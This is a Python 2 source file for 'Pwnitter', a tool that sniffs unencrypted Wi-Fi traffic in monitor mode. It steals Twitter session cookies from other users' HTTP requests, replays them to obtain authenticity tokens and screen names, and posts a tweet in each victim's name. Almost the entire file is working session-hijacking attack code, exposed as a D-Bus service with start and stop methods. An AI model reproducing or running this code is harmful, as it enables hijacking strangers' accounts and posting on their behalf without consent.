4ef93eb4da55a4bd764261f6a8721a5af9a0c2a2
[pwnitter] / pwnitter.py
1 #!/usr/bin/env python
2 # On Linux (as root):
3 #  * apt-get install libpcap0.8 python-pypcap python-dpkt
4 #  * iw wlan0 interface add mon0 type monitor && ifconfig mon0 up
5 #  * ./idiocy.py -i mon0
6             
7 import dbus.service
8 import dbus.mainloop.glib
9 import getopt, sys, pcap, dpkt, re, httplib, urllib
10 import logging
11 import logging.config
12 import socket
13 import time
14 import gobject
15 import select
16 import subprocess
17
18 status = 'I browsed twitter insecurely, got #pwned and all I got was this lousy tweet.'
19
20 def usage(): 
21     print >>sys.stderr, 'Usage: %s [-i device]' % sys.argv[0] 
22     sys.exit(1)
23
24 NAME = 'de.cryptobitch.muelli.Pwnitter'
25
26 class Pwnitter(dbus.service.Object):
27     def __init__(self, bus, object_name, device='mon0'):
28         super(Pwnitter, self).__init__(bus, object_name)
29         self.device = device
30         
31         self.status = status
32         self.is_running = False
33
34     def setup_monitor(device='mon0'):
35         # FIXME: Replace hardcoded interface 
36         cmd = '/usr/sbin/iw wlan0 interface add mon0 type monitor'.split()
37         subprocess.call(cmd)
38         cmd = '/sbin/ifconfig mon0 up'.split()
39         subprocess.call(cmd)
40     
41     @dbus.service.method(NAME,
42                          in_signature='', out_signature='')
43     def Start(self, filename=None):
44         # FIXME: Prevent double Start()
45         if filename is None: # Then we do *not* want to read from a PCap file but rather a monitor device
46             self.setup_monitor(device)
47             device = self.device
48         else: # We have given a filename, so let's make PCap read from the file
49             device = filename
50         self.is_running = True
51         try:
52             self.cap = pcap.pcap(device)
53         except OSError, e:
54             print "Error setting up %s" % device
55             raise e
56         self.cap.setfilter('dst port 80')
57         cap_fileno = self.cap.fileno()
58         self.source_id = gobject.io_add_watch(cap_fileno, gobject.IO_IN, self.cap_readable_callback, device) 
59
60     @dbus.service.method(NAME,
61                          in_signature='s', out_signature='')
62     def StartFromFile(self, filename):
63         return self.Start(filename=filename)
64
65     
66     def cap_readable_callback(self, source, condition, device):
67         return self.pwn(device, self.MessageSent)
68         
69     @dbus.service.signal(NAME)
70     def MessageSent(self, who):
71         print "Emitting MessageSent"
72         return who
73         return False
74         pass
75
76     @dbus.service.method(NAME,
77                          in_signature='s', out_signature='')
78     def SetMessage(self, message):
79         self.status = message
80         
81     @dbus.service.method(NAME, #FIXME: This is probably more beauti with DBus Properties
82                          in_signature='', out_signature='s')
83     def GetMessage(self):
84         return self.status
85
86
87     def tear_down_monitor(self, device='mon0'):
88         cmd = '/sbin/ifconfig mon0 down'.split()
89         subprocess.call(cmd)
90         cmd = '/usr/sbin/iw dev mon0 del'.split()
91         subprocess.call(cmd)
92     
93     @dbus.service.method(NAME,
94                          in_signature='', out_signature='')
95     def Stop(self):
96         self.is_running = False
97         print "Receive Stop"
98         gobject.source_remove(self.source_id)
99         self.tear_down_monitor(self.device)
100         loop.quit()
101
102
103     def pwn(self, device, tweeted_callback=None):
104         processed = {}
105         if self.is_running: # This is probably not needed, but I feel better checking it more than too less
106             ts, raw = self.cap.next()
107             eth = dpkt.ethernet.Ethernet(raw)
108             #print 'got a packet'  
109             # Depending on platform, we can either get fully formed packets or unclassified radio data
110             if isinstance(eth.data, str):
111                 data = eth.data
112             else:
113                 data = eth.data.data.data
114
115             hostMatches = re.search('Host: ((?:api|mobile|www)?\.?twitter\.com)', data)
116             if hostMatches:
117                 print 'Host matched'
118                 host = hostMatches.group(1)
119
120                 cookieMatches = re.search('Cookie: ([^\n]+)', data)
121                 if cookieMatches:
122                     cookie = cookieMatches.group(1)
123
124                     headers = {
125                         "User-Agent": "Mozilla/5.0",
126                         "Cookie": cookie,
127                     }
128                     
129                     conn = httplib.HTTPSConnection(host)
130                     try:
131                         conn.request("GET", "/", None, headers)
132                     except socket.error, e:
133                         print e
134                     else:
135                         response = conn.getresponse()
136                         page = response.read()
137
138                         # Newtwitter and Oldtwitter have different formatting, so be lax
139                         authToken = ''
140
141                         formMatches = re.search("<.*?auth.*?_token.*?>", page, 0)
142                         if formMatches:
143                             authMatches = re.search("value=[\"'](.*?)[\"']", formMatches.group(0))
144
145                             if authMatches:
146                                 authToken = authMatches.group(1)
147
148                         nameMatches = re.search('"screen_name":"(.*?)"', page, 0)
149                         if not nameMatches:
150                             nameMatches = re.search('content="(.*?)" name="session-user-screen_name"', page, 0)
151
152                         name = ''
153                         if nameMatches:
154                             name = nameMatches.group(1)
155
156
157                         # We don't want to repeatedly spam people
158                         # FIXME: What the fuck logic. Please clean up
159                         if not ((not name and host != 'mobile.twitter.com') or name in processed):
160                             headers = {
161                                 "User-Agent": "Mozilla/5.0",
162                                 "Accept": "application/json, text/javascript, */*",
163                                 "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
164                                 "X-Requested-With": "XMLHttpRequest",
165                                 "X-PHX": "true",
166                                 "Referer": "http://api.twitter.com/p_receiver.html",
167                                 "Cookie": cookie
168                             }
169
170
171                             print 'Issueing connection'
172                             if host == 'mobile.twitter.com':
173
174                                 params = urllib.urlencode({
175                                     'tweet[text]': self.status,
176                                     'authenticity_token': authToken
177                                 })
178
179                                 conn = httplib.HTTPConnection("mobile.twitter.com")
180                                 conn.request("POST", "/", params, headers)
181
182                             else:
183
184                                 params = urllib.urlencode({
185                                     'status': self.status,
186                                     'post_authenticity_token': authToken
187                                 })
188
189                                 conn = httplib.HTTPConnection("api.twitter.com")
190                                 conn.request("POST", "/1/statuses/update.json", params, headers)
191
192
193                             response = conn.getresponse()
194                             print 'Got response: %s' % response.status
195                             if response.status == 200 or response.status == 302 or response.status == 403:
196
197                                 if name:
198                                     processed[name] = 1
199
200                                 # 403 is a dupe tweet
201                                 if response.status != 403:
202                                     print "Successfully tweeted as %s" % name
203                                     print 'calling %s' % tweeted_callback
204                                     if tweeted_callback:
205                                         tweeted_callback(name)
206                                 else:
207                                     print 'Already tweeted as %s' % name
208
209                             else:
210
211                                 print "FAILED to tweet as %s, debug follows:" % name
212                                 print response.status, response.reason
213                                 print response.read() + "\n"
214         return self.is_running # Execute next time, we're idle
215     # FIXME: Ideally, check     whether Pcap has got data for us
216
217 def main():
218
219     opts, args = getopt.getopt(sys.argv[1:], 'i:h')
220     device = None
221     for o, a in opts:
222         if o == '-i':
223             device = a
224         else:
225             usage()
226     #pwn(device)
227
228
229
230 if __name__ == '__main__':
231     from optparse import OptionParser
232     parser = OptionParser("usage: %prog [options]")
233     parser.add_option("-l", "--loglevel", dest="loglevel", 
234                       help="Sets the loglevel to one of debug, info, warn, error, critical")
235     parser.add_option("-s", "--session", dest="use_session_bus",
236                       action="store_true", default=False,
237                       help="Bind Pwnitter to the SessionBus instead of the SystemBus")
238     (options, args) = parser.parse_args()
239     loglevel = {'debug': logging.DEBUG, 'info': logging.INFO,
240                 'warn': logging.WARN, 'error': logging.ERROR,
241                 'critical': logging.CRITICAL}.get(options.loglevel, "warn")
242     logging.basicConfig(level=loglevel)
243     #logging.config.fileConfig('logging.conf') #FIXME: Have file configured logging
244     log = logging.getLogger("Main")
245
246     dbus.mainloop.glib.DBusGMainLoop(set_as_default=True)
247
248     if options.use_session_bus:
249         session_bus = dbus.SessionBus()
250     else:
251         session_bus = dbus.SystemBus()
252     name = dbus.service.BusName(NAME, session_bus)
253     pwnitter = Pwnitter(session_bus, '/Pwnitter')
254     #object.Start()
255
256     loop = gobject.MainLoop()
257     log.info("Running example signal emitter service.")
258     # FIXME: This is debug code
259     #gobject.idle_add(pwnitter.MessageSent)
260     
261     loop.run()
262     print "Exiting for whatever reason"
263     #main()